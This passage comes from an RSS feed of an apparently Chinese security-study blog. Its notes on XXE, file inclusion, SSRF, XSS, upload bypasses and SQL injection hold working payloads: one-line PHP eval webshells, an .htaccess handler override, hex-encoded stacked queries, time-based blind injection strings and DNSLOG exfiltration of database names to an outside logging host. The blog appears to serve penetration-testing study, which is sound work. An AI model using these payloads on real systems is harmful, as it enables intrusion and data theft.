</span></span></code></pre></div><p>方案2-过滤用户提交的XML数据
过滤关键词：&lt;!DOCTYPE和&lt;!ENTITY，或者SYSTEM和PUBLIC</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>LFI &amp; RFI</title>
      <link>https://weibo.io/2021/10/LFI-and-RFI/</link>
      <pubDate>Mon, 11 Oct 2021 17:34:26 +0000</pubDate>
      
      <guid>https://weibo.io/2021/10/LFI-and-RFI/</guid>
      <description>一个例子 $file = $_GET[&amp;#39;filename&amp;#39;]; include($file); //http://XXX?filename=1.jpg Local File Include 后缀限制 $file = $_GET[&amp;#39;filename&amp;#39;.&amp;#39;.php&amp;#39;]; include($file); 针对PHP低版本（5.2可行）： %00截断 &amp;amp; 长度突破 针对高版本：协议利用 前提：data协议开启，allow_url_include=1； XXX.php?filename=data://text/plain,&amp;lt;?php%20phpinfo();?&amp;gt; Remote File Include 后缀限制 RFI的后缀限制突破方法：加入GET参数（也就是&amp;quot;？&amp;ldquo;符号）。如XXX.php?filename=http://XXX.txt?即可
协议利用 php://filter/convert.base64-encode/resource=1.txt file:///D:/phpstudy/PHPTutorial/WWW/1.txt RCE执行： php://input Post:&lt;?php system(&#39;ver&#39;)?&gt;
&lt;?PHP fputs(fopen(&#39;s.php&#39;,&#39;w&#39;),&#39;&lt;?php @eval($_POST[cmd])?&gt;&#39;);?&gt; data://text/plain,&lt;?php%20phpinfo();?&gt;
思路 流程：想办法包含文件-文件来源（能不能上传） 不能上传：包含系统自身文件渗透，包含日志文件渗透 能上传：冲冲冲 RFI结合MSF-exploit/multi/script/web_delivery</description>
      <content:encoded><![CDATA[<h2 id="一个例子">一个例子</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span>$file <span style="color:#f92672">=</span> $_GET[<span style="color:#e6db74">&#39;filename&#39;</span>];
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">include</span>($file);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//http://XXX?filename=1.jpg
</span></span></span></code></pre></div><h2 id="local-file-include">Local File Include</h2>
<h3 id="后缀限制">后缀限制</h3>
<pre tabindex="0"><code>$file = $_GET[&#39;filename&#39;.&#39;.php&#39;];
include($file);
</code></pre><ol>
<li>针对PHP低版本（5.2可行）： %00截断 &amp; 长度突破</li>
<li>针对高版本：协议利用
前提：data协议开启，allow_url_include=1；
<code>XXX.php?filename=data://text/plain,&lt;?php%20phpinfo();?&gt;</code></li>
</ol>
<h2 id="remote-file-include">Remote File Include</h2>
<h3 id="后缀限制-1">后缀限制</h3>
<p>RFI的后缀限制突破方法：加入GET参数（也就是&quot;？&ldquo;符号）。如<code>XXX.php?filename=http://XXX.txt?</code>即可</p>
<h3 id="协议利用">协议利用</h3>
<p>php://filter/convert.base64-encode/resource=1.txt
file:///D:/phpstudy/PHPTutorial/WWW/1.txt
RCE执行：
php://input Post:<?php system('ver')?></p>
<?PHP fputs(fopen('s.php','w'),'<?php @eval($_POST[cmd])?>');?>
<p>data://text/plain,<?php%20phpinfo();?></p>
<h3 id="思路">思路</h3>
<p>流程：想办法包含文件-文件来源（能不能上传）
不能上传：包含系统自身文件渗透，包含日志文件渗透
能上传：冲冲冲
RFI结合MSF-exploit/multi/script/web_delivery</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>CSRF &amp; SSRF</title>
      <link>https://weibo.io/2021/10/CSRF-and-SSRF/</link>
      <pubDate>Sun, 10 Oct 2021 19:51:26 +0000</pubDate>
      
      <guid>https://weibo.io/2021/10/CSRF-and-SSRF/</guid>
      <description>CSRF 常见套路：安装同一套CMS，通过Burp抓到添加管理员的数据包。在管理员已登录的情况下点击一个网址，通过HTML的form配合JS提交请求。
防御 同源策略 检测来源是否同一域名（referer，仍然不安全） 加入token（或者加入验证码） 每一次请求都需要一个不同的token，如果csrf使用的是与之前同一个token，那么链接失效。 突破防御 token爆破 设计逻辑错误导致token可以重复利用 SSRF 主要产生在远程请求、代下载等场景。可以端口扫描、指纹识别、内网探针、漏洞利用等。
端口扫描 通过请求http://127.0.0.1:8081查看端口是否开放，若开放则回显中会产生数据。 与nmap相比，首先nmap可能扫不出来，其次在内网攻击中，某台计算机可能不联外网，只能通过内网扫描。如ftp://192.168.46.133:21 就能返回内网ftp目录；file:///D:/www.txt利用file协议请求文件内容；dict://探测mysql等等。 如果不知道IP地址，也可以进行爆破。 其他几个案例 </description>
      <content:encoded><![CDATA[<h2 id="csrf">CSRF</h2>
<p>常见套路：安装同一套CMS，通过Burp抓到添加管理员的数据包。在管理员已登录的情况下点击一个网址，通过HTML的form配合JS提交请求。</p>
<h3 id="防御">防御</h3>
<ol>
<li>同源策略
检测来源是否同一域名（referer，仍然不安全）</li>
<li>加入token（或者加入验证码）
每一次请求都需要一个不同的token，如果csrf使用的是与之前同一个token，那么链接失效。</li>
</ol>
<h3 id="突破防御">突破防御</h3>
<ol>
<li>token爆破</li>
<li>设计逻辑错误导致token可以重复利用</li>
</ol>
<h2 id="ssrf">SSRF</h2>
<p>主要产生在远程请求、代下载等场景。可以端口扫描、指纹识别、内网探针、漏洞利用等。</p>
<h3 id="端口扫描">端口扫描</h3>
<ol>
<li>通过请求<code>http://127.0.0.1:8081</code>查看端口是否开放，若开放则回显中会产生数据。</li>
<li>与nmap相比，首先nmap可能扫不出来，其次在内网攻击中，某台计算机可能不联外网，只能通过内网扫描。如<code>ftp://192.168.46.133:21</code> 就能返回内网ftp目录；<code>file:///D:/www.txt</code>利用file协议请求文件内容；<code>dict://</code>探测mysql等等。</li>
<li>如果不知道IP地址，也可以进行爆破。</li>
</ol>
<h3 id="其他几个案例">其他几个案例</h3>
]]></content:encoded>
    </item>
    
    <item>
      <title>XSS</title>
      <link>https://weibo.io/2021/10/XSS/</link>
      <pubDate>Sun, 10 Oct 2021 16:51:26 +0000</pubDate>
      
      <guid>https://weibo.io/2021/10/XSS/</guid>
      <description>反射XSS 提交数据后，数据被管理员查看，可以盗取其COOKIES。（xsshs.cn） 通过BEEF控制浏览器。
DOM型XSS 通过闭合JS实现XSS。
XSS分类 fooying.com/the-art-of-xss-1-introduction
mXSS 被过滤的XSS Payload，因为（低版本QQ）预览分享功能被重新激活。
代码绕过 长度绕过 如length设置，用闭合方法，修改其length值；
尖括号被过滤怎么办？ 改成onclick激活，避免尖括号即可。
script、onclick等关键字被过滤怎么办？ 大小写修改或者，xz.aliyun.com/t/2936查看不同DOM元素的利用方法
工具 XSStrike XSS Fuzz字典
设置绕过 HTTPOnly 登录成功页面插入XSS实现长期控制</description>
      <content:encoded><![CDATA[<h2 id="反射xss">反射XSS</h2>
<p>提交数据后，数据被管理员查看，可以盗取其COOKIES。（xsshs.cn）
通过BEEF控制浏览器。</p>
<h2 id="dom型xss">DOM型XSS</h2>
<p>通过闭合JS实现XSS。</p>
<h2 id="xss分类">XSS分类</h2>
<p><code>fooying.com/the-art-of-xss-1-introduction</code></p>
<h3 id="mxss">mXSS</h3>
<p>被过滤的XSS Payload，因为（低版本QQ）预览分享功能被重新激活。</p>
<h2 id="代码绕过">代码绕过</h2>
<h3 id="长度绕过">长度绕过</h3>
<p>如length设置，用闭合方法，修改其length值；</p>
<h3 id="尖括号被过滤怎么办">尖括号被过滤怎么办？</h3>
<p>改成onclick激活，避免尖括号即可。</p>
<h3 id="scriptonclick等关键字被过滤怎么办">script、onclick等关键字被过滤怎么办？</h3>
<p>大小写修改或者，<code>xz.aliyun.com/t/2936</code>查看不同DOM元素的利用方法</p>
<h3 id="工具">工具</h3>
<p>XSStrike
XSS Fuzz字典</p>
<h2 id="设置绕过">设置绕过</h2>
<p>HTTPOnly
登录成功页面插入XSS实现长期控制</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>文件上传漏洞</title>
      <link>https://weibo.io/2021/10/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E/</link>
      <pubDate>Fri, 08 Oct 2021 17:08:26 +0000</pubDate>
      
      <guid>https://weibo.io/2021/10/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E/</guid>
      <description>本地验证 JS禁用、Burp改包、本地提交 后缀黑名单验证 大小写、加空格、符号点（系统特性）、::$DATA（Windows平台） 过滤不迭代问题 例如，&amp;quot;.php. .&amp;ldquo;方法：这针对的是在过滤中，代码中去掉末尾的点，再首位去空，再进行后缀过滤点情形。
后缀白名单验证 MIME（使用FILETYPE而不是后缀验证） 后缀白名单验证 MIME、%00、0x00截断 其中，MIME主要修改Content-Type项； %00和0x00主要影响某些版本的PHP（CVE-2015-2348，PHP 5.4.38~5.6.6）。在文件名中插入，比方说x.php%00.jpg，并且URL-Decode后（URL中不用转换），作为文件名，即可截断后缀。 ⚠️这里注意区分，GET请求对%00进行编码，POST不对%00编码。%00自动编码后将变成%25%30%30，而这不是我们需要的。 图片后门 单纯文件头验证不安全，需要配合后缀检测。
过滤&amp;lt;?怎么办？ 使用多种php标记方法，如
&amp;lt;script language=&amp;#34;php&amp;#34;&amp;gt; eval($_POST[&amp;#39;xd&amp;#39;]); &amp;lt;/script&amp;gt; 二次渲染 上传的图片被修改后显示出来（尺寸或格式）。例如：
copy shell.jpg/b + shell.php/a s.jpg 将图片与后门合并后上传，若存在二次渲染，则后门可能失效。此时，应该对比上传前后的文件，观察二次渲染后文件的哪个部分不变，再将后门写入那个部分。
常见问题 单次过滤 php函数replace过滤&amp;quot;php&amp;rdquo;，但把文件名改成&amp;quot;.pphphp&amp;quot;就可以绕过
条件竞争 php函数move_uploaded_file，先移动后过滤unlink。可以在删除前访问。 具体来说，可以在不断上传的过程中不断访问之，这个文件进行一个写入操作。（借助burp）
解析安全 格式变异 过滤时只过滤了php后缀，没有过滤php3、php4、php5、phtml等php程序
中间件解析(apache) 上传一个.htaccess，它可以更改目录下特定后缀的解析规则
&amp;lt;FilesMatch &amp;#34;shell.jpg&amp;#34;&amp;gt; SetHandler application/x-httpd-php &amp;lt;/FilesMatch&amp;gt; CVE-2013-4547 Nginx文件名逻辑漏洞 NGINX解析问题：后缀&amp;quot;1.jpg/.php&amp;quot; 针对性思路总结 CMS类 无资料时用常规测试思路，有资料参考资料即可。
编辑器 Ueditor 中间件 weblogic CVE-2018-2894
CTF类 ThinkPHP 文件路径（涉及代码审计）</description>
      <content:encoded><![CDATA[<h2 id="本地验证">本地验证</h2>
<h3 id="js禁用burp改包本地提交">JS禁用、Burp改包、本地提交</h3>
<h2 id="后缀黑名单验证">后缀黑名单验证</h2>
<h3 id="大小写加空格符号点系统特性datawindows平台">大小写、加空格、符号点（系统特性）、::$DATA（Windows平台）</h3>
<h3 id="过滤不迭代问题">过滤不迭代问题</h3>
<p>例如，&quot;.php. .&ldquo;方法：这针对的是在过滤中，代码中去掉末尾的点，再首位去空，再进行后缀过滤点情形。</p>
<h2 id="后缀白名单验证">后缀白名单验证</h2>
<h3 id="mime使用filetype而不是后缀验证">MIME（使用FILETYPE而不是后缀验证）</h3>
<h2 id="后缀白名单验证-1">后缀白名单验证</h2>
<h3 id="mime000x00截断">MIME、%00、0x00截断</h3>
<ol>
<li>其中，MIME主要修改Content-Type项；</li>
<li>%00和0x00主要影响某些版本的PHP（<code>CVE-2015-2348</code>，PHP 5.4.38~5.6.6）。在文件名中插入，比方说<code>x.php%00.jpg</code>，并且URL-Decode后（URL中不用转换），作为文件名，即可截断后缀。
⚠️这里注意区分，GET请求对%00进行编码，POST不对%00编码。<code>%00</code>自动编码后将变成<code>%25%30%30</code>，而这不是我们需要的。</li>
<li></li>
</ol>
<h2 id="图片后门">图片后门</h2>
<p>单纯文件头验证不安全，需要配合后缀检测。</p>
<h3 id="过滤怎么办">过滤&lt;?怎么办？</h3>
<p>使用多种php标记方法，如</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">language</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;php&#34;</span>&gt;
</span></span><span style="display:flex;"><span>eval(<span style="color:#a6e22e">$_POST</span>[<span style="color:#e6db74">&#39;xd&#39;</span>]);
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">script</span>&gt;
</span></span></code></pre></div><h2 id="二次渲染">二次渲染</h2>
<p>上传的图片被修改后显示出来（尺寸或格式）。例如：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>copy shell.jpg/b + shell.php/a s.jpg
</span></span></code></pre></div><p>将图片与后门合并后上传，若存在二次渲染，则后门可能失效。此时，应该<strong>对比上传前后的文件，观察二次渲染后文件的哪个部分不变，再将后门写入那个部分</strong>。</p>
<h2 id="常见问题">常见问题</h2>
<h3 id="单次过滤">单次过滤</h3>
<p>php函数replace过滤&quot;php&rdquo;，但把文件名改成&quot;.pphphp&quot;就可以绕过</p>
<h3 id="条件竞争">条件竞争</h3>
<p>php函数move_uploaded_file，先移动后过滤unlink。可以<strong>在删除前访问</strong>。
具体来说，可以在不断上传的过程中不断访问之，这个文件进行一个写入操作。（借助burp）</p>
<h3 id="解析安全">解析安全</h3>
<h4 id="格式变异">格式变异</h4>
<p>过滤时只过滤了php后缀，没有过滤php3、php4、php5、phtml等php程序</p>
<h4 id="中间件解析apache">中间件解析(apache)</h4>
<p>上传一个.htaccess，它可以更改目录下特定后缀的解析规则</p>
<pre tabindex="0"><code>&lt;FilesMatch &#34;shell.jpg&#34;&gt;
  SetHandler application/x-httpd-php
&lt;/FilesMatch&gt;
</code></pre><h4 id="cve-2013-4547-nginx文件名逻辑漏洞">CVE-2013-4547 Nginx文件名逻辑漏洞</h4>
<h4 id="nginx解析问题后缀1jpgphp">NGINX解析问题：后缀&quot;1.jpg/.php&quot;</h4>
<h2 id="针对性思路总结">针对性思路总结</h2>
<h3 id="cms类">CMS类</h3>
<p>无资料时用常规测试思路，有资料参考资料即可。</p>
<h3 id="编辑器-ueditor">编辑器 Ueditor</h3>
<h3 id="中间件-weblogic">中间件 weblogic</h3>
<p>CVE-2018-2894</p>
<h3 id="ctf类">CTF类</h3>
<p>ThinkPHP 文件路径（涉及代码审计）</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>SQL注入基础入门——07、总结</title>
      <link>https://weibo.io/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8-07-%E6%80%BB%E7%BB%93/</link>
      <pubDate>Thu, 07 Oct 2021 21:47:26 +0000</pubDate>
      
      <guid>https://weibo.io/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8-07-%E6%80%BB%E7%BB%93/</guid>
      <description>漏洞利用 参数类型 - 符号闭合 数据库类型 - 选择不同的攻击语句和攻击思路 数据提交方式 - 数据注入的时候传输不一样，如POST、HOST等 数据SQL查询方式 - 1.无回显 2.测试点不同（增删改查等） 3.人工发现 数据加密编码方式 存在回显 - 盲注 高权限 - 换一种思路获得权限 漏洞危害 单个数据库泄漏 所有数据库泄漏 后台权限 web权限：文件操作、执行命令等 后续导致服务器权限丢失 漏洞特点 开发语言决定注入发生率 数据库类型决定注入利用过程 部分注入点的发现需要人工探针（增删改查等） 防护注入代码过滤、WAF等 </description>
      <content:encoded><![CDATA[<h4 id="漏洞利用">漏洞利用</h4>
<ol>
<li>参数类型 - 符号闭合</li>
<li>数据库类型 - 选择不同的攻击语句和攻击思路</li>
<li>数据提交方式 - 数据注入的时候传输不一样，如POST、HOST等</li>
<li>数据SQL查询方式 - 1.无回显 2.测试点不同（增删改查等） 3.人工发现</li>
<li>数据加密编码方式</li>
<li>存在回显 - 盲注</li>
<li>高权限 - 换一种思路获得权限</li>
</ol>
<h4 id="漏洞危害">漏洞危害</h4>
<ol>
<li>单个数据库泄漏</li>
<li>所有数据库泄漏</li>
<li>后台权限</li>
<li>web权限：文件操作、执行命令等</li>
<li>后续导致服务器权限丢失</li>
</ol>
<h4 id="漏洞特点">漏洞特点</h4>
<ol>
<li>开发语言决定注入发生率</li>
<li>数据库类型决定注入利用过程</li>
<li>部分注入点的发现需要人工探针（增删改查等）</li>
<li>防护注入代码过滤、WAF等</li>
</ol>
]]></content:encoded>
    </item>
    
    <item>
      <title>SQL注入基础入门——06、绕过注入过滤的几种方法（堆叠、二次、DNSLOG、高权限）</title>
      <link>https://weibo.io/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8-06-%E5%A0%86%E5%8F%A0%E3%80%81%E4%BA%8C%E6%AC%A1%E3%80%81DNSLOG%E3%80%81%E9%AB%98%E6%9D%83%E9%99%90/</link>
      <pubDate>Thu, 07 Oct 2021 13:00:00 +0000</pubDate>
      
      <guid>https://weibo.io/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8-06-%E5%A0%86%E5%8F%A0%E3%80%81%E4%BA%8C%E6%AC%A1%E3%80%81DNSLOG%E3%80%81%E9%AB%98%E6%9D%83%E9%99%90/</guid>
      <description>几种过滤 过滤关键词，如select、update、insert等 过滤空格 堆叠注入 数据库类型支持多条语句；
;show databases; ;show tables; ;show columns from ``; ## 由于select被过滤，因此可以将列名改为flag再输出 ## 或者，采用如下方法： &amp;#39;;SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql; 二次注入 先写入后组合的注入（如：注册——登录——修改）； 受到攻击的sql语句：
update user set passwd=&amp;#39;新密码&amp;#39; where username=&amp;#39;用户名&amp;#39; and passwd=&amp;#39;旧密码&amp;#39; 密码一般会被加密，不好入手，因此选择用户名攻击：
## 空格被过滤 x&amp;#34;^updatexml(1,concat(0x7e,(version())),0)# DNSLOG注入 解决不回显，相比盲注更快，但适用范围不广，因为要用到load_file()函数，需要root权限，并且secure_file_priv需要为空，且需要操作系统为Windows（\\为unc路径）。
ping test.dbuh8a.ceye.io ping %USERNAME%.dbuh8a.ceye.io select load_file(&amp;#39;\\\\xxxx.dbuh8a.ceye.io\\aa&amp;#39;)); select load_file(concat(&amp;#39;\\\\&amp;#39;,(select database()),&amp;#39;.dbuh8a.ceye.io\\aa&amp;#39;)); 高权限注入 数据库用户分为系统用户和普通用户。前者可看所有数据库，可进行文件读写；后者不行。 ⚠️所以，某些注入点可以读写文件。
# 判断是否高权限 python sqlmap.py -u &amp;#34;http://XXX?id=1&amp;#34; --is-dba 写入一句话后门
&amp;lt;?php eval($_POST[&amp;#39;x&amp;#39;]); ?&amp;gt; </description>
      <content:encoded><![CDATA[<h3 id="几种过滤">几种过滤</h3>
<ol>
<li>过滤关键词，如select、update、insert等</li>
<li>过滤空格</li>
<li></li>
</ol>
<h3 id="堆叠注入">堆叠注入</h3>
<p>数据库类型支持多条语句；</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span>;<span style="color:#66d9ef">show</span> databases;
</span></span><span style="display:flex;"><span>;<span style="color:#66d9ef">show</span> tables;
</span></span><span style="display:flex;"><span>;<span style="color:#66d9ef">show</span> columns <span style="color:#66d9ef">from</span> <span style="color:#f92672">``</span>;
</span></span><span style="display:flex;"><span><span style="color:#f92672">##</span> <span style="color:#960050;background-color:#1e0010">由于</span>select被过滤<span style="color:#960050;background-color:#1e0010">，因此可以将列名改为</span>flag再输出
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#f92672">##</span> <span style="color:#960050;background-color:#1e0010">或者，采用如下方法：</span>
</span></span><span style="display:flex;"><span><span style="color:#e6db74">&#39;;SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;
</span></span></span></code></pre></div><h3 id="二次注入">二次注入</h3>
<p>先写入后组合的注入（如：注册——登录——修改）；
受到攻击的sql语句：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">update</span> <span style="color:#66d9ef">user</span> <span style="color:#66d9ef">set</span> passwd<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;新密码&#39;</span> <span style="color:#66d9ef">where</span> username<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;用户名&#39;</span> <span style="color:#66d9ef">and</span> passwd<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;旧密码&#39;</span>
</span></span></code></pre></div><p>密码一般会被加密，不好入手，因此选择用户名攻击：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#f92672">##</span> <span style="color:#960050;background-color:#1e0010">空格被过滤</span>
</span></span><span style="display:flex;"><span>x<span style="color:#e6db74">&#34;^updatexml(1,concat(0x7e,(version())),0)#
</span></span></span></code></pre></div><h3 id="dnslog注入">DNSLOG注入</h3>
<p>解决不回显，相比盲注更快，但适用范围不广，因为要用到<code>load_file()</code>函数，需要root权限，并且<code>secure_file_priv</code>需要为空，且需要操作系统为Windows（<code>\\</code>为unc路径）。</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span>ping test.dbuh8a.ceye.io
</span></span><span style="display:flex;"><span>ping <span style="color:#f92672">%</span>USERNAME<span style="color:#f92672">%</span>.dbuh8a.ceye.io
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">select</span> load_file(<span style="color:#e6db74">&#39;\\\\xxxx.dbuh8a.ceye.io\\aa&#39;</span>));
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">select</span> load_file(concat(<span style="color:#e6db74">&#39;\\\\&#39;</span>,(<span style="color:#66d9ef">select</span> <span style="color:#66d9ef">database</span>()),<span style="color:#e6db74">&#39;.dbuh8a.ceye.io\\aa&#39;</span>));
</span></span></code></pre></div><h3 id="高权限注入">高权限注入</h3>
<p>数据库用户分为系统用户和普通用户。前者可看所有数据库，可进行文件读写；后者不行。
⚠️所以，某些注入点可以读写文件。</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span><span style="color:#75715e"># 判断是否高权限</span>
</span></span><span style="display:flex;"><span>python sqlmap.py -u <span style="color:#e6db74">&#34;http://XXX?id=1&#34;</span> --is-dba
</span></span></code></pre></div><p>写入一句话后门</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span> <span style="color:#66d9ef">eval</span>($_POST[<span style="color:#e6db74">&#39;x&#39;</span>]); <span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div>]]></content:encoded>
    </item>
    
    <item>
      <title>SQL注入基础入门——05、盲注</title>
      <link>https://weibo.io/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8-05%E7%9B%B2%E6%B3%A8/</link>
      <pubDate>Wed, 06 Oct 2021 21:00:42 +0000</pubDate>
      
      <guid>https://weibo.io/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8-05%E7%9B%B2%E6%B3%A8/</guid>
      <description>order by select * from users order by $sth 盲注的三种类型 逻辑判断 regexp、like、ascii、left、ord、mid like &amp;#39;ro%&amp;#39; regexp &amp;#39;^user[a-z]&amp;#39; #截取字符串 mid(str,start_loc,length) substr(str,start_loc,length) left(str,length) #从左侧截取 #字符串长度 length() 延时判断 if、sleep select * from users where id=1 and if(1&amp;gt;2,2,0); select * from users where id=1 and sleep(5); select * from users where id=1 and if(1&amp;gt;2,sleep(5),sleep(10)); 报错回显 floor、updatexml、extractvalue 逻辑判断 例如：
?id=1&amp;#39; and length(database())=8--+ ?id=1&amp;#39; and left(database(),1)&amp;gt;&amp;#39;a&amp;#39;--+ 延时判断 and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+ and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)--+ 报错注入 12种报错注入&amp;#43;万能语句</description>
      <content:encoded><![CDATA[<h3 id="order-by">order by</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">select</span> <span style="color:#f92672">*</span> <span style="color:#66d9ef">from</span> users <span style="color:#66d9ef">order</span> <span style="color:#66d9ef">by</span> <span style="color:#960050;background-color:#1e0010">$</span>sth
</span></span></code></pre></div><h3 id="盲注的三种类型">盲注的三种类型</h3>
<ol>
<li>逻辑判断
regexp、like、ascii、left、ord、mid
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">like</span> <span style="color:#e6db74">&#39;ro%&#39;</span>
</span></span><span style="display:flex;"><span>regexp <span style="color:#e6db74">&#39;^user[a-z]&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">#</span><span style="color:#960050;background-color:#1e0010">截取字符串</span>
</span></span><span style="display:flex;"><span>mid(str,start_loc,<span style="color:#66d9ef">length</span>)
</span></span><span style="display:flex;"><span>substr(str,start_loc,<span style="color:#66d9ef">length</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">left</span>(str,<span style="color:#66d9ef">length</span>) <span style="color:#f92672">#</span><span style="color:#960050;background-color:#1e0010">从左侧截取</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">#</span><span style="color:#960050;background-color:#1e0010">字符串长度</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">length</span>()
</span></span></code></pre></div></li>
<li>延时判断
if、sleep
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">select</span> <span style="color:#f92672">*</span> <span style="color:#66d9ef">from</span> users <span style="color:#66d9ef">where</span> id<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span> <span style="color:#66d9ef">and</span> <span style="color:#66d9ef">if</span>(<span style="color:#ae81ff">1</span><span style="color:#f92672">&gt;</span><span style="color:#ae81ff">2</span>,<span style="color:#ae81ff">2</span>,<span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">select</span> <span style="color:#f92672">*</span> <span style="color:#66d9ef">from</span> users <span style="color:#66d9ef">where</span> id<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span> <span style="color:#66d9ef">and</span> sleep(<span style="color:#ae81ff">5</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">select</span> <span style="color:#f92672">*</span> <span style="color:#66d9ef">from</span> users <span style="color:#66d9ef">where</span> id<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span> <span style="color:#66d9ef">and</span> <span style="color:#66d9ef">if</span>(<span style="color:#ae81ff">1</span><span style="color:#f92672">&gt;</span><span style="color:#ae81ff">2</span>,sleep(<span style="color:#ae81ff">5</span>),sleep(<span style="color:#ae81ff">10</span>));
</span></span></code></pre></div></li>
<li>报错回显
floor、updatexml、extractvalue</li>
</ol>
<h3 id="逻辑判断">逻辑判断</h3>
<p>例如：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">?id=1&#39; and length(database())=8--+
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">?id=1&#39; and left(database(),1)&gt;&#39;a&#39;--+
</span></span></span></code></pre></div><h3 id="延时判断">延时判断</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">and</span> <span style="color:#66d9ef">if</span>(ascii(substr(<span style="color:#66d9ef">database</span>(),<span style="color:#ae81ff">1</span>,<span style="color:#ae81ff">1</span>))<span style="color:#f92672">=</span><span style="color:#ae81ff">115</span>,sleep(<span style="color:#ae81ff">5</span>),<span style="color:#ae81ff">1</span>)<span style="color:#75715e">--+
